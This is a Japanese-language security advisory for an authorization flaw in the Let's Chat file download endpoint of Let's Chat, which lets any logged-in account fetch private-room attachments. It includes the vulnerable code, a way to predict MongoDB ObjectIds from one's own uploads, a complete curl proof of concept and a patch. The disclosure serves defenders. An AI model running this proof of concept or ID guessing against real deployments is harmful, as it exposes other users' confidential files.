
割り当てられたCVE ID: CVE-2026-66750
GET /files/:id/:name は呼び出し元がログインしていることを確認してからファイルを配信しますが、呼び出し元がそのファイルの属するルームを閲覧できるかどうかは一切確認しません。
そのため、どのアカウントでも、メンバーではないプライベートルームやパスワード保護ルームの添付ファイルを読み取ることができ、ルームへのアクセスを剥奪されたユーザーは、アクセス権を持っていた間にアップロードされたすべてのファイルのダウンロードリンクが引き続き有効なままとなります。
同じコントローラ内のファイル一覧エンドポイントはメンバーシップを確認しますが、ダウンロードエンドポイントにはその確認が欠けています。
リポジトリURL: https://github.com/sdelements/lets-chat
0.3.0(コミット 55e8833、2015年1月24日、"Files backend")から最終リリースである0.4.8まで影響を受けます。修正済みバージョンは存在しません。
プライベートルームとパスワード保護ルームは0.4.0で導入されたため、この脆弱性が越える機密性の境界は0.4.0以降に存在します。
files.enable: true が必要です。これは defaults.yml ではオフですが、ファイル共有が文書化された機能であるため、多くのデプロイ環境ではオンになっています。
コミット 617207f の0.4.8、および docker.io/sdelements/lets-chat:latest(0.4.7)で確認済みです。
CWE-639: ユーザー制御キーによる認可バイパス。また、CWE-862(認可の欠如)にも該当します。
CVSS 4.0 基本スコア 5.3(Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
攻撃者に必要なのは、通常のユーザーアカウント1つ、HTTPポートへのネットワークアクセス、そしてファイルのObjectIdです。自己登録はデフォルトで有効です。
実際には、このIDは秘密情報ではありません。かつてルームのメンバーだったことがある人なら誰でもすでにこのIDを保持しています。files:list と、アップロード時に投稿される upload://files/<id>/<name> メッセージの両方がこのIDを公開するためです。アクセス権の剥奪ではこのIDは無効化されず、URLに有効期限や署名もありません。
対象ルームへの関与履歴がない攻撃者は、このIDを推測する必要があります。これはUUIDではなくMongoDBのObjectIdであり、予測不可能な部分はごくわずかです:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3バイトのカウンタ、ドキュメントごとに1ずつ増加
| | +--------- 2バイトのプロセスID
| +--------------- 3バイトのマシンID、プロセスの存続期間中固定
+----------------------- 4バイトのUnixタイムスタンプ、1秒単位
カウンタ以外はすべてサーバープロセスの存続期間中一定であり、カウンタはすべてのコレクションで共有される単一のシーケンスです。したがって、攻撃者が自分でファイルを1つアップロードするだけで、マシンID、プロセスID、現在のカウンタ位置を把握でき、他の誰かがアップロードしたすべてのファイルはそのシーケンス上のごく近い位置にあります。sdelements/lets-chat:latest での連続8回のアップロード:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
ダウンロードルートは requireLogin のみを適用し、それ以外は何も行いません。app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// エラー
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room は読み込まれますが、その後参照されることはありません。
同じ機能内の一覧パスはメンバーシップによる制限をかけています。app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
つまり、アプリケーションには必要なチェック(app/models/room.js:130 で定義された Room.canJoin)がすでに存在しますが、ダウンロードルートはそれを呼び出していないだけです。
files.enable: true と rooms.private: true が必要です(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true)。
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. オーナーがプライベートルームを作成し、インサイダーを追加します。ルームIDをメモします。
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<ルームID>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. オーナーがファイルをアップロードします。ファイルIDをメモします。
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<ファイルID>
# 3. オーナーがインサイダーのアクセス権を剥奪します。
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. インサイダーはルームから正しく締め出されます。
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. しかし、ファイルは依然としてダウンロードできます。
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
ファイルIDを知っていれば、ルームのメンバーになったことがないアカウントでも同じ結果になります。
プライベートルームおよびパスワード保護ルームの添付ファイルは、ファイルIDを保持している、または導出できるサーバー上の任意のアカウントから読み取り可能です。プライベートルームから誰かを削除したり、ルームのパスワードを変更したりしても、すでにアップロードされたファイルへのアクセスは遮断されず、ルームをアーカイブしても同様です。
ルームを読み込み、files:list がすでに実行しているチェックを再利用します。app/controllers/files.js:62 の if (!file) ガードの後に:
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// 既存の sendFile / redirect ロジック
});
});
不正なIDに対して403ではなく404を返すことで、ファイルの存在を確認されることを防ぎます。